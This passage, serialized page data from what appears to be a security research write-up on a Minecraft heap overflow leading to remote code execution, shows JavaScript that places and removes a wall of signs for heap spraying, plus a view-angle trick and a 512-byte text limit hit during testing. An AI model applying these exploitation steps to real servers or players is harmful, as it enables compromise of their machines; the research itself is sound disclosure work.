12},[152084],{"type":22,"tag":264,"props":152085,"children":152086},{"style":1539},[152087],{"type":27,"value":1692},{"type":22,"tag":23,"props":152089,"children":152090},{},[152091,152093,152099],{"type":27,"value":152092},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":22,"tag":257,"props":152094,"children":152096},{"className":152095},[],[152097],{"type":27,"value":152098},"signs",{"type":27,"value":152100}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":22,"tag":618,"props":152102,"children":152104},{"code":152103,"language":36930,"meta":7,"className":36928,"style":7},"let signs;\n\nfunction create_wall() {\n    signs = [];\n\n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n            [...]\n            \n            const sign_block = world\n                .getDimension(\"overworld\")\n                .getBlock(sign_location);\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:wall_sign\", {\n                    facing_direction: 3\n                }\n            ));\n            let sign_component = sign_block\n                .getComponent(BlockComponentTypes.Sign);\n\n            signs.push({\n                sign: sign_component,\n                allocated: false,\n                block: sign_block,\n                removed: false\n            });\n        }\n    }\n}\n\nfunction remove_wall() {\n    signs = [];\n    \n    for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n        for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n            \n            [...]\n             \n            const sign_block = await wait_for_block(\n                world.getDimension(\"overworld\"),\n                sign_location\n            );\n            sign_block.setPermutation(\n                BlockPermutation.resolve(\"minecraft:air\")\n            );\n\n            [...]\n        }\n    }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n    create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n    remove_wall();\n});\n",[152105],{"type":22,"tag":257,"props":152106,"children":152107},{"__ignoreMap":7},[152108,152123,152130,152146,152163,152170,152232,152294,152301,152317,152325,152347,152373,152398,152418,152447,152459,152466,152474,152496,152530,152537,152557,152573,152589,152605,152617,152625,152632,152639,152646,152653,152669,152684,152691,152750,152809,152816,152831,152839,152867,152895,152903,152910,152929,152956,152963,152970,152985,152992,152999,153006,153013,153069,153081,153088,153095,153156,153168],{"type":22,"tag":264,"props":152109,"children":152110},{"class":1534,"line":1535},[152111,152115,152119],{"type":22,"tag":264,"props":152112,"children":152113},{"style":4293},[152114],{"type":27,"value":13086},{"type":22,"tag":264,"props":152116,"children":152117},{"style":1549},[152118],{"type":27,"value":151558},{"type":22,"tag":264,"props":152120,"children":152121},{"style":1539},[152122],{"type":27,"value":4322},{"type":22,"tag":264,"props":152124,"children":152125},{"class":1534,"line":1545},[152126],{"type":22,"tag":264,"props":152127,"children":152128},{"emptyLinePlaceholder":17},[152129],{"type":27,"value":4986},{"type":22,"tag":264,"props":152131,"children":152132},{"class":1534,"line":1560},[152133,152137,152142],{"type":22,"tag":264,"props":152134,"children":152135},{"style":4293},[152136],{"type":27,"value":32692},{"type":22,"tag":264,"props":152138,"children":152139},{"style":4401},[152140],{"type":27,"value":152141}," create_wall",{"type":22,"tag":264,"props":152143,"children":152144},{"style":1539},[152145],{"type":27,"value":17036},{"type":22,"tag":264,"props":152147,"children":152148},{"class":1534,"line":1569},[152149,152154,152158],{"type":22,"tag":264,"props":152150,"children":152151},{"style":1549},[152152],{"type":27,"value":152153},"    signs",{"type":22,"tag":264,"props":152155,"children":152156},{"style":4309},[152157],{"type":27,"value":4312},{"type":22,"tag":264,"props":152159,"children":152160},{"style":1539},[152161],{"type":27,"value":152162}," [];\n",{"type":22,"tag":264,"props":152164,"children":152165},{"class":1534,"line":1583},[152166],{"type":22,"tag":264,"props":152167,"children":152168},{"emptyLinePlaceholder":17},[152169],{"type":27,"value":4986},{"type":22,"tag":264,"props":152171,"children":152172},{"class":1534,"line":1603},[152173,152177,152181,152185,152190,152194,152198,152202,152207,152211,152216,152220,152224,152228],{"type":22,"tag":264,"props":152174,"children":152175},{"style":4328},[152176],{"type":27,"value":4331},{"type":22,"tag":264,"props":152178,"children":152179},{"style":1539},[152180],{"type":27,"value":4370},{"type":22,"tag":264,"props":152182,"children":152183},{"style":4293},[152184],{"type":27,"value":13086},{"type":22,"tag":264,"props":152186,"children":152187},{"style":1549},[152188],{"type":27,"value":152189}," current_y",{"type":22,"tag":264,"props":152191,"children":152192},{"style":4309},[152193],{"type":27,"value":4312},{"type":22,"tag":264,"props":152195,"children":152196},{"style":4344},[152197],{"type":27,"value":4347},{"type":22,"tag":264,"props":152199,"children":152200},{"style":1539},[152201],{"type":27,"value":18529},{"type":22,"tag":264,"props":152203,"children":152204},{"style":1549},[152205],{"type":27,"value":152206},"current_y",{"type":22,"tag":264,"props":152208,"children":152209},{"style":4309},[152210],{"type":27,"value":10014},{"type":22,"tag":264,"props":152212,"children":152213},{"style":1549},[152214],{"type":27,"value":152215}," WALL_HEIGHT",{"type":22,"tag":264,"props":152217,"children":152218},{"style":1539},[152219],{"type":27,"value":18529},{"type":22,"tag":264,"props":152221,"children":152222},{"style":1549},[152223],{"type":27,"value":152206},{"type":22,"tag":264,"props":152225,"children":152226},{"style":4309},[152227],{"type":27,"value":52590},{"type":22,"tag":264,"props":152229,"children":152230},{"style":1539},[152231],{"type":27,"value":16103},{"type":22,"tag":264,"props":152233,"children":152234},{"class":1534,"line":1612},[152235,152239,152243,152247,152252,152256,152260,152264,152269,152273,152278,152282,152286,152290],{"type":22,"tag":264,"props":152236,"children":152237},{"style":4328},[152238],{"type":27,"value":61898},{"type":22,"tag":264,"props":152240,"children":152241},{"style":1539},[152242],{"type":27,"value":4370},{"type":22,"tag":264,"props":152244,"children":152245},{"style":4293},[152246],{"type":27,"value":13086},{"type":22,"tag":264,"props":152248,"children":152249},{"style":1549},[152250],{"type":27,"value":152251}," current_x",{"type":22,"tag":264,"props":152253,"children":152254},{"style":4309},[152255],{"type":27,"value":4312},{"type":22,"tag":264,"props":152257,"children":152258},{"style":4344},[152259],{"type":27,"value":4347},{"type":22,"tag":264,"props":152261,"children":152262},{"style":1539},[152263],{"type":27,"value":18529},{"type":22,"tag":264,"props":152265,"children":152266},{"style":1549},[152267],{"type":27,"value":152268},"current_x",{"type":22,"tag":264,"props":152270,"children":152271},{"style":4309},[152272],{"type":27,"value":10014},{"type":22,"tag":264,"props":152274,"children":152275},{"style":1549},[152276],{"type":27,"value":152277}," WALL_WIDTH",{"type":22,"tag":264,"props":152279,"children":152280},{"style":1539},[152281],{"type":27,"value":18529},{"type":22,"tag":264,"props":152283,"children":152284},{"style":1549},[152285],{"type":27,"value":152268},{"type":22,"tag":264,"props":152287,"children":152288},{"style":4309},[152289],{"type":27,"value":52590},{"type":22,"tag":264,"props":152291,"children":152292},{"style":1539},[152293],{"type":27,"value":16103},{"type":22,"tag":264,"props":152295,"children":152296},{"class":1534,"line":1621},[152297],{"type":22,"tag":264,"props":152298,"children":152299},{"emptyLinePlaceholder":17},[152300],{"type":27,"value":4986},{"type":22,"tag":264,"props":152302,"children":152303},{"class":1534,"line":1629},[152304,152309,152313],{"type":22,"tag":264,"props":152305,"children":152306},{"style":1539},[152307],{"type":27,"value":152308},"            [",{"type":22,"tag":264,"props":152310,"children":152311},{"style":4309},[152312],{"type":27,"value":10889},{"type":22,"tag":264,"props":152314,"children":152315},{"style":1539},[152316],{"type":27,"value":13071},{"type":22,"tag":264,"props":152318,"children":152319},{"class":1534,"line":1642},[152320],{"type":22,"tag":264,"props":152321,"children":152322},{"style":1539},[152323],{"type":27,"value":152324},"            \n",{"type":22,"tag":264,"props":152326,"children":152327},{"class":1534,"line":1660},[152328,152333,152338,152342],{"type":22,"tag":264,"props":152329,"children":152330},{"style":4293},[152331],{"type":27,"value":152332},"            const",{"type":22,"tag":264,"props":152334,"children":152335},{"style":1549},[152336],{"type":27,"value":152337}," sign_block",{"type":22,"tag":264,"props":152339,"children":152340},{"style":4309},[152341],{"type":27,"value":4312},{"type":22,"tag":264,"props":152343,"children":152344},{"style":1549},[152345],{"type":27,"value":152346}," world\n",{"type":22,"tag":264,"props":152348,"children":152349},{"class":1534,"line":1668},[152350,152355,152360,152364,152369],{"type":22,"tag":264,"props":152351,"children":152352},{"style":1539},[152353],{"type":27,"value":152354},"                .",{"type":22,"tag":264,"props":152356,"children":152357},{"style":4401},[152358],{"type":27,"value":152359},"getDimension",{"type":22,"tag":264,"props":152361,"children":152362},{"style":1539},[152363],{"type":27,"value":2660},{"type":22,"tag":264,"props":152365,"children":152366},{"style":1597},[152367],{"type":27,"value":152368},"\"overworld\"",{"type":22,"tag":264,"props":152370,"children":152371},{"style":1539},[152372],{"type":27,"value":4463},{"type":22,"tag":264,"props":152374,"children":152375},{"class":1534,"line":1677},[152376,152380,152385,152389,152394],{"type":22,"tag":264,"props":152377,"children":152378},{"style":1539},[152379],{"type":27,"value":152354},{"type":22,"tag":264,"props":152381,"children":152382},{"style":4401},[152383],{"type":27,"value":152384},"getBlock",{"type":22,"tag":264,"props":152386,"children":152387},{"style":1539},[152388],{"type":27,"value":2660},{"type":22,"tag":264,"props":152390,"children":152391},{"style":1549},[152392],{"type":27,"value":152393},"sign_location",{"type":22,"tag":264,"props":152395,"children":152396},{"style":1539},[152397],{"type":27,"value":5142},{"type":22,"tag":264,"props":152399,"children":152400},{"class":1534,"line":1686},[152401,152406,152410,152414],{"type":22,"tag":264,"props":152402,"children":152403},{"style":1549},[152404],{"type":27,"value":152405},"            sign_block",{"type":22,"tag":264,"props":152407,"children":152408},{"style":1539},[152409],{"type":27,"value":210},{"type":22,"tag":264,"props":152411,"children":152412},{"style":4401},[152413],{"type":27,"value":152012},{"type":22,"tag":264,"props":152415,"children":152416},{"style":1539},[152417],{"type":27,"value":4767},{"type":22,"tag":264,"props":152419,"children":152420},{"class":1534,"line":4948},[152421,152426,152430,152434,152438,152443],{"type":22,"tag":264,"props":152422,"children":152423},{"style":1549},[152424],{"type":27,"value":152425},"                BlockPermutation",{"type":22,"tag":264,"props":152427,"children":152428},{"style":1539},[152429],{"type":27,"value":210},{"type":22,"tag":264,"props":152431,"children":152432},{"style":4401},[152433],{"type":27,"value":152033},{"type":22,"tag":264,"props":152435,"children":152436},{"style":1539},[152437],{"type":27,"value":2660},{"type":22,"tag":264,"props":152439,"children":152440},{"style":1597},[152441],{"type":27,"value":152442},"\"minecraft:wall_sign\"",{"type":22,"tag":264,"props":152444,"children":152445},{"style":1539},[152446],{"type":27,"value":50202},{"type":22,"tag":264,"props":152448,"children":152449},{"class":1534,"line":4957},[152450,152455],{"type":22,"tag":264,"props":152451,"children":152452},{"style":1549},[152453],{"type":27,"value":152454},"                    facing_direction:",{"type":22,"tag":264,"props":152456,"children":152457},{"style":4344},[152458],{"type":27,"value":20632},{"type":22,"tag":264,"props":152460,"children":152461},{"class":1534,"line":4980},[152462],{"type":22,"tag":264,"props":152463,"children":152464},{"style":1539},[152465],{"type":27,"value":72395},{"type":22,"tag":264,"props":152467,"children":152468},{"class":1534,"line":4989},[152469],{"type":22,"tag":264,"props":152470,"children":152471},{"style":1539},[152472],{"type":27,"value":152473},"            ));\n",{"type":22,"tag":264,"props":152475,"children":152476},{"class":1534,"line":4998},[152477,152482,152487,152491],{"type":22,"tag":264,"props":152478,"children":152479},{"style":4293},[152480],{"type":27,"value":152481},"            let",{"type":22,"tag":264,"props":152483,"children":152484},{"style":1549},[152485],{"type":27,"value":152486}," sign_component",{"type":22,"tag":264,"props":152488,"children":152489},{"style":4309},[152490],{"type":27,"value":4312},{"type":22,"tag":264,"props":152492,"children":152493},{"style":1549},[152494],{"type":27,"value":152495}," sign_block\n",{"type":22,"tag":264,"props":152497,"children":152498},{"class":1534,"line":5067},[152499,152503,152508,152512,152517,152521,152526],{"type":22,"tag":264,"props":152500,"children":152501},{"style":1539},[152502],{"type":27,"value":152354},{"type":22,"tag":264,"props":152504,"children":152505},{"style":4401},[152506],{"type":27,"value":152507},"getComponent",{"type":22,"tag":264,"props":152509,"children":152510},{"style":1539},[152511],{"type":27,"value":2660},{"type":22,"tag":264,"props":152513,"children":152514},{"style":1549},[152515],{"type":27,"value":152516},"BlockComponentTypes",{"type":22,"tag":264,"props":152518,"children":152519},{"style":1539},[152520],{"type":27,"value":210},{"type":22,"tag":264,"props":152522,"children":152523},{"style":1549},[152524],{"type":27,"value":152525},"Sign",{"type":22,"tag":264,"props":152527,"children":152528},{"style":1539},[152529],{"type":27,"value":5142},{"type":22,"tag":264,"props":152531,"children":152532},{"class":1534,"line":5075},[152533],{"type":22,"tag":264,"props":152534,"children":152535},{"emptyLinePlaceholder":17},[152536],{"type":27,"value":4986},{"type":22,"tag":264,"props":152538,"children":152539},{"class":1534,"line":5105},[152540,152545,152549,152553],{"type":22,"tag":264,"props":152541,"children":152542},{"style":1549},[152543],{"type":27,"value":152544},"            signs",{"type":22,"tag":264,"props":152546,"children":152547},{"style":1539},[152548],{"type":27,"value":210},{"type":22,"tag":264,"props":152550,"children":152551},{"style":4401},[152552],{"type":27,"value":5128},{"type":22,"tag":264,"props":152554,"children":152555},{"style":1539},[152556],{"type":27,"value":16440},{"type":22,"tag":264,"props":152558,"children":152559},{"class":1534,"line":5113},[152560,152565,152569],{"type":22,"tag":264,"props":152561,"children":152562},{"style":1549},[152563],{"type":27,"value":152564},"                sign:",{"type":22,"tag":264,"props":152566,"children":152567},{"style":1549},[152568],{"type":27,"value":152486},{"type":22,"tag":264,"props":152570,"children":152571},{"style":1539},[152572],{"type":27,"value":4812},{"type":22,"tag":264,"props":152574,"children":152575},{"class":1534,"line":5145},[152576,152581,152585],{"type":22,"tag":264,"props":152577,"children":152578},{"style":1549},[152579],{"type":27,"value":152580},"                allocated:",{"type":22,"tag":264,"props":152582,"children":152583},{"style":4293},[152584],{"type":27,"value":10354},{"type":22,"tag":264,"props":152586,"children":152587},{"style":1539},[152588],{"type":27,"value":4812},{"type":22,"tag":264,"props":152590,"children":152591},{"class":1534,"line":5153},[152592,152597,152601],{"type":22,"tag":264,"props":152593,"children":152594},{"style":1549},[152595],{"type":27,"value":152596},"                block:",{"type":22,"tag":264,"props":152598,"children":152599},{"style":1549},[152600],{"type":27,"value":152337},{"type":22,"tag":264,"props":152602,"children":152603},{"style":1539},[152604],{"type":27,"value":4812},{"type":22,"tag":264,"props":152606,"children":152607},{"class":1534,"line":5213},[152608,152613],{"type":22,"tag":264,"props":152609,"children":152610},{"style":1549},[152611],{"type":27,"value":152612},"                removed:",{"type":22,"tag":264,"props":152614,"children":152615},{"style":4293},[152616],{"type":27,"value":13610},{"type":22,"tag":264,"props":152618,"children":152619},{"class":1534,"line":10343},[152620],{"type":22,"tag":264,"props":152621,"children":152622},{"style":1539},[152623],{"type":27,"value":152624},"            });\n",{"type":22,"tag":264,"props":152626,"children":152627},{"class":1534,"line":10361},[152628],{"type":22,"tag":264,"props":152629,"children":152630},{"style":1539},[152631],{"type":27,"value":4651},{"type":22,"tag":264,"props":152633,"children":152634},{"class":1534,"line":10406},[152635],{"type":22,"tag":264,"props":152636,"children":152637},{"style":1539},[152638],{"type":27,"value":1674},{"type":22,"tag":264,"props":152640,"children":152641},{"class":1534,"line":10512},[152642],{"type":22,"tag":264,"props":152643,"children":152644},{"style":1539},[152645],{"type":27,"value":1692},{"type":22,"tag":264,"props":152647,"children":152648},{"class":1534,"line":24810},[152649],{"type":22,"tag":264,"props":152650,"children":152651},{"emptyLinePlaceholder":17},[152652],{"type":27,"value":4986},{"type":22,"tag":264,"props":152654,"children":152655},{"class":1534,"line":24845},[152656,152660,152665],{"type":22,"tag":264,"props":152657,"children":152658},{"style":4293},[152659],{"type":27,"value":32692},{"type":22,"tag":264,"props":152661,"children":152662},{"style":4401},[152663],{"type":27,"value":152664}," remove_wall",{"type":22,"tag":264,"props":152666,"children":152667},{"style":1539},[152668],{"type":27,"value":17036},{"type":22,"tag":264,"props":152670,"children":152671},{"class":1534,"line":24853},[152672,152676,152680],{"type":22,"tag":264,"props":152673,"children":152674},{"style":1549},[152675],{"type":27,"value":152153},{"type":22,"tag":264,"props":152677,"children":152678},{"style":4309},[152679],{"type":27,"value":4312},{"type":22,"tag":264,"props":152681,"children":152682},{"style":1539},[152683],{"type":27,"value":152162},{"type":22,"tag":264,"props":152685,"children":152686},{"class":1534,"line":24861},[152687],{"type":22,"tag":264,"props":152688,"children":152689},{"style":1539},[152690],{"type":27,"value":63108},{"type":22,"tag":264,"props":152692,"children":152693},{"class":1534,"line":24870},[152694,152698,152702,152706,152710,152714,152718,152722,152726,152730,152734,152738,152742,152746],{"type":22,"tag":264,"props":152695,"children":152696},{"style":4328},[152697],{"type":27,"value":4331},{"type":22,"tag":264,"props":152699,"children":152700},{"style":1539},[152701],{"type":27,"value":4370},{"type":22,"tag":264,"props":152703,"children":152704},{"style":4293},[152705],{"type":27,"value":13086},{"type":22,"tag":264,"props":152707,"children":152708},{"style":1549},[152709],{"type":27,"value":152189},{"type":22,"tag":264,"props":152711,"children":152712},{"style":4309},[152713],{"type":27,"value":4312},{"type":22,"tag":264,"props":152715,"children":152716},{"style":4344},[152717],{"type":27,"value":4347},{"type":22,"tag":264,"props":152719,"children":152720},{"style":1539},[152721],{"type":27,"value":18529},{"type":22,"tag":264,"props":152723,"children":152724},{"style":1549},[152725],{"type":27,"value":152206},{"type":22,"tag":264,"props":152727,"children":152728},{"style":4309},[152729],{"type":27,"value":10014},{"type":22,"tag":264,"props":152731,"children":152732},{"style":1549},[152733],{"type":27,"value":152215},{"type":22,"tag":264,"props":152735,"children":152736},{"style":1539},[152737],{"type":27,"value":18529},{"type":22,"tag":264,"props":152739,"children":152740},{"style":1549},[152741],{"type":27,"value":152206},{"type":22,"tag":264,"props":152743,"children":152744},{"style":4309},[152745],{"type":27,"value":52590},{"type":22,"tag":264,"props":152747,"children":152748},{"style":1539},[152749],{"type":27,"value":16103},{"type":22,"tag":264,"props":152751,"children":152752},{"class":1534,"line":24912},[152753,152757,152761,152765,152769,152773,152777,152781,152785,152789,152793,152797,152801,152805],{"type":22,"tag":264,"props":152754,"children":152755},{"style":4328},[152756],{"type":27,"value":61898},{"type":22,"tag":264,"props":152758,"children":152759},{"style":1539},[152760],{"type":27,"value":4370},{"type":22,"tag":264,"props":152762,"children":152763},{"style":4293},[152764],{"type":27,"value":13086},{"type":22,"tag":264,"props":152766,"children":152767},{"style":1549},[152768],{"type":27,"value":152251},{"type":22,"tag":264,"props":152770,"children":152771},{"style":4309},[152772],{"type":27,"value":4312},{"type":22,"tag":264,"props":152774,"children":152775},{"style":4344},[152776],{"type":27,"value":4347},{"type":22,"tag":264,"props":152778,"children":152779},{"style":1539},[152780],{"type":27,"value":18529},{"type":22,"tag":264,"props":152782,"children":152783},{"style":1549},[152784],{"type":27,"value":152268},{"type":22,"tag":264,"props":152786,"children":152787},{"style":4309},[152788],{"type":27,"value":10014},{"type":22,"tag":264,"props":152790,"children":152791},{"style":1549},[152792],{"type":27,"value":152277},{"type":22,"tag":264,"props":152794,"children":152795},{"style":1539},[152796],{"type":27,"value":18529},{"type":22,"tag":264,"props":152798,"children":152799},{"style":1549},[152800],{"type":27,"value":152268},{"type":22,"tag":264,"props":152802,"children":152803},{"style":4309},[152804],{"type":27,"value":52590},{"type":22,"tag":264,"props":152806,"children":152807},{"style":1539},[152808],{"type":27,"value":16103},{"type":22,"tag":264,"props":152810,"children":152811},{"class":1534,"line":24945},[152812],{"type":22,"tag":264,"props":152813,"children":152814},{"style":1539},[152815],{"type":27,"value":152324},{"type":22,"tag":264,"props":152817,"children":152818},{"class":1534,"line":24953},[152819,152823,152827],{"type":22,"tag":264,"props":152820,"children":152821},{"style":1539},[152822],{"type":27,"value":152308},{"type":22,"tag":264,"props":152824,"children":152825},{"style":4309},[152826],{"type":27,"value":10889},{"type":22,"tag":264,"props":152828,"children":152829},{"style":1539},[152830],{"type":27,"value":13071},{"type":22,"tag":264,"props":152832,"children":152833},{"class":1534,"line":24961},[152834],{"type":22,"tag":264,"props":152835,"children":152836},{"style":1539},[152837],{"type":27,"value":152838},"             \n",{"type":22,"tag":264,"props":152840,"children":152841},{"class":1534,"line":24970},[152842,152846,152850,152854,152858,152863],{"type":22,"tag":264,"props":152843,"children":152844},{"style":4293},[152845],{"type":27,"value":152332},{"type":22,"tag":264,"props":152847,"children":152848},{"style":1549},[152849],{"type":27,"value":152337},{"type":22,"tag":264,"props":152851,"children":152852},{"style":4309},[152853],{"type":27,"value":4312},{"type":22,"tag":264,"props":152855,"children":152856},{"style":4328},[152857],{"type":27,"value":37526},{"type":22,"tag":264,"props":152859,"children":152860},{"style":4401},[152861],{"type":27,"value":152862}," wait_for_block",{"type":22,"tag":264,"props":152864,"children":152865},{"style":1539},[152866],{"type":27,"value":4767},{"type":22,"tag":264,"props":152868,"children":152869},{"class":1534,"line":25046},[152870,152875,152879,152883,152887,152891],{"type":22,"tag":264,"props":152871,"children":152872},{"style":1549},[152873],{"type":27,"value":152874},"                world",{"type":22,"tag":264,"props":152876,"children":152877},{"style":1539},[152878],{"type":27,"value":210},{"type":22,"tag":264,"props":152880,"children":152881},{"style":4401},[152882],{"type":27,"value":152359},{"type":22,"tag":264,"props":152884,"children":152885},{"style":1539},[152886],{"type":27,"value":2660},{"type":22,"tag":264,"props":152888,"children":152889},{"style":1597},[152890],{"type":27,"value":152368},{"type":22,"tag":264,"props":152892,"children":152893},{"style":1539},[152894],{"type":27,"value":8029},{"type":22,"tag":264,"props":152896,"children":152897},{"class":1534,"line":25079},[152898],{"type":22,"tag":264,"props":152899,"children":152900},{"style":1549},[152901],{"type":27,"value":152902},"                sign_location\n",{"type":22,"tag":264,"props":152904,"children":152905},{"class":1534,"line":25087},[152906],{"type":22,"tag":264,"props":152907,"children":152908},{"style":1539},[152909],{"type":27,"value":126414},{"type":22,"tag":264,"props":152911,"children":152912},{"class":1534,"line":25095},[152913,152917,152921,152925],{"type":22,"tag":264,"props":152914,"children":152915},{"style":1549},[152916],{"type":27,"value":152405},{"type":22,"tag":264,"props":152918,"children":152919},{"style":1539},[152920],{"type":27,"value":210},{"type":22,"tag":264,"props":152922,"children":152923},{"style":4401},[152924],{"type":27,"value":152012},{"type":22,"tag":264,"props":152926,"children":152927},{"style":1539},[152928],{"type":27,"value":4767},{"type":22,"tag":264,"props":152930,"children":152931},{"class":1534,"line":25132},[152932,152936,152940,152944,152948,152952],{"type":22,"tag":264,"props":152933,"children":152934},{"style":1549},[152935],{"type":27,"value":152425},{"type":22,"tag":264,"props":152937,"children":152938},{"style":1539},[152939],{"type":27,"value":210},{"type":22,"tag":264,"props":152941,"children":152942},{"style":4401},[152943],{"type":27,"value":152033},{"type":22,"tag":264,"props":152945,"children":152946},{"style":1539},[152947],{"type":27,"value":2660},{"type":22,"tag":264,"props":152949,"children":152950},{"style":1597},[152951],{"type":27,"value":152042},{"type":22,"tag":264,"props":152953,"children":152954},{"style":1539},[152955],{"type":27,"value":4463},{"type":22,"tag":264,"props":152957,"children":152958},{"class":1534,"line":25145},[152959],{"type":22,"tag":264,"props":152960,"children":152961},{"style":1539},[152962],{"type":27,"value":126414},{"type":22,"tag":264,"props":152964,"children":152965},{"class":1534,"line":25158},[152966],{"type":22,"tag":264,"props":152967,"children":152968},{"emptyLinePlaceholder":17},[152969],{"type":27,"value":4986},{"type":22,"tag":264,"props":152971,"children":152972},{"class":1534,"line":25171},[152973,152977,152981],{"type":22,"tag":264,"props":152974,"children":152975},{"style":1539},[152976],{"type":27,"value":152308},{"type":22,"tag":264,"props":152978,"children":152979},{"style":4309},[152980],{"type":27,"value":10889},{"type":22,"tag":264,"props":152982,"children":152983},{"style":1539},[152984],{"type":27,"value":13071},{"type":22,"tag":264,"props":152986,"children":152987},{"class":1534,"line":25225},[152988],{"type":22,"tag":264,"props":152989,"children":152990},{"style":1539},[152991],{"type":27,"value":4651},{"type":22,"tag":264,"props":152993,"children":152994},{"class":1534,"line":25234},[152995],{"type":22,"tag":264,"props":152996,"children":152997},{"style":1539},[152998],{"type":27,"value":1674},{"type":22,"tag":264,"props":153000,"children":153001},{"class":1534,"line":33596},[153002],{"type":22,"tag":264,"props":153003,"children":153004},{"style":1539},[153005],{"type":27,"value":1692},{"type":22,"tag":264,"props":153007,"children":153008},{"class":1534,"line":33617},[153009],{"type":22,"tag":264,"props":153010,"children":153011},{"emptyLinePlaceholder":17},[153012],{"type":27,"value":4986},{"type":22,"tag":264,"props":153014,"children":153015},{"class":1534,"line":82277},[153016,153021,153025,153030,153034,153039,153043,153048,153052,153057,153061,153065],{"type":22,"tag":264,"props":153017,"children":153018},{"style":1549},[153019],{"type":27,"value":153020},"world",{"type":22,"tag":264,"props":153022,"children":153023},{"style":1539},[153024],{"type":27,"value":210},{"type":22,"tag":264,"props":153026,"children":153027},{"style":1549},[153028],{"type":27,"value":153029},"afterEvents",{"type":22,"tag":264,"props":153031,"children":153032},{"style":1539},[153033],{"type":27,"value":210},{"type":22,"tag":264,"props":153035,"children":153036},{"style":1549},[153037],{"type":27,"value":153038},"playerSpawn",{"type":22,"tag":264,"props":153040,"children":153041},{"style":1539},[153042],{"type":27,"value":210},{"type":22,"tag":264,"props":153044,"children":153045},{"style":4401},[153046],{"type":27,"value":153047},"subscribe",{"type":22,"tag":264,"props":153049,"children":153050},{"style":1539},[153051],{"type":27,"value":32838},{"type":22,"tag":264,"props":153053,"children":153054},{"style":1549},[153055],{"type":27,"value":153056},"arg",{"type":22,"tag":264,"props":153058,"children":153059},{"style":1539},[153060],{"type":27,"value":4390},{"type":22,"tag":264,"props":153062,"children":153063},{"style":4293},[153064],{"type":27,"value":16121},{"type":22,"tag":264,"props":153066,"children":153067},{"style":1539},[153068],{"type":27,"value":4594},{"type":22,"tag":264,"props":153070,"children":153071},{"class":1534,"line":82290},[153072,153077],{"type":22,"tag":264,"props":153073,"children":153074},{"style":4401},[153075],{"type":27,"value":153076},"    create_wall",{"type":22,"tag":264,"props":153078,"children":153079},{"style":1539},[153080],{"type":27,"value":4977},{"type":22,"tag":264,"props":153082,"children":153083},{"class":1534,"line":82298},[153084],{"type":22,"tag":264,"props":153085,"children":153086},{"style":1539},[153087],{"type":27,"value":36652},{"type":22,"tag":264,"props":153089,"children":153090},{"class":1534,"line":82306},[153091],{"type":22,"tag":264,"props":153092,"children":153093},{"emptyLinePlaceholder":17},[153094],{"type":27,"value":4986},{"type":22,"tag":264,"props":153096,"children":153097},{"class":1534,"line":82314},[153098,153102,153106,153111,153115,153120,153124,153128,153132,153136,153140,153144,153148,153152],{"type":22,"tag":264,"props":153099,"children":153100},{"style":1549},[153101],{"type":27,"value":153020},{"type":22,"tag":264,"props":153103,"children":153104},{"style":1539},[153105],{"type":27,"value":210},{"type":22,"tag":264,"props":153107,"children":153108},{"style":1549},[153109],{"type":27,"value":153110},"beforeEvents",{"type":22,"tag":264,"props":153112,"children":153113},{"style":1539},[153114],{"type":27,"value":210},{"type":22,"tag":264,"props":153116,"children":153117},{"style":1549},[153118],{"type":27,"value":153119},"playerLeave",{"type":22,"tag":264,"props":153121,"children":153122},{"style":1539},[153123],{"type":27,"value":210},{"type":22,"tag":264,"props":153125,"children":153126},{"style":4401},[153127],{"type":27,"value":153047},{"type":22,"tag":264,"props":153129,"children":153130},{"style":1539},[153131],{"type":27,"value":2660},{"type":22,"tag":264,"props":153133,"children":153134},{"style":4293},[153135],{"type":27,"value":37460},{"type":22,"tag":264,"props":153137,"children":153138},{"style":1539},[153139],{"type":27,"value":4370},{"type":22,"tag":264,"props":153141,"children":153142},{"style":1549},[153143],{"type":27,"value":153056},{"type":22,"tag":264,"props":153145,"children":153146},{"style":1539},[153147],{"type":27,"value":4390},{"type":22,"tag":264,"props":153149,"children":153150},{"style":4293},[153151],{"type":27,"value":16121},{"type":22,"tag":264,"props":153153,"children":153154},{"style":1539},[153155],{"type":27,"value":4594},{"type":22,"tag":264,"props":153157,"children":153158},{"class":1534,"line":82354},[153159,153164],{"type":22,"tag":264,"props":153160,"children":153161},{"style":4401},[153162],{"type":27,"value":153163},"    remove_wall",{"type":22,"tag":264,"props":153165,"children":153166},{"style":1539},[153167],{"type":27,"value":4977},{"type":22,"tag":264,"props":153169,"children":153170},{"class":1534,"line":82362},[153171],{"type":22,"tag":264,"props":153172,"children":153173},{"style":1539},[153174],{"type":27,"value":36652},{"type":22,"tag":23,"props":153176,"children":153177},{},[153178],{"type":27,"value":153179},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":22,"tag":23,"props":153181,"children":153182},{},[153183],{"type":22,"tag":215,"props":153184,"children":153187},{"alt":153185,"src":153186},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":22,"tag":23,"props":153189,"children":153190},{},[153191],{"type":27,"value":153192},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":22,"tag":20197,"props":153194,"children":153196},{"id":153195},"a-small-roadblock",[153197],{"type":27,"value":153198},"A Small Roadblock",{"type":22,"tag":23,"props":153200,"children":153201},{},[153202],{"type":27,"value":153203},"While testing our heap spray method, we encountered the following error:",{"type":22,"tag":618,"props":153205,"children":153207},{"code":153206},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[153208],{"type":22,"tag":257,"props":153209,"children":153210},{"__ignoreMap":7},[153211],{"type":27,"value":153206},{"type":22,"tag":23,"props":153213,"children":153214},{},[153215,153217,153223],{"type":27,"value":153216},"An error is thrown by the server executable while trying to assign text longer than ",{"type":22,"tag":257,"props":153218,"children":153220},{"className":153219},[],[153221],{"type":27,"value":153222},"512",{"type":27,"value":153224}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed 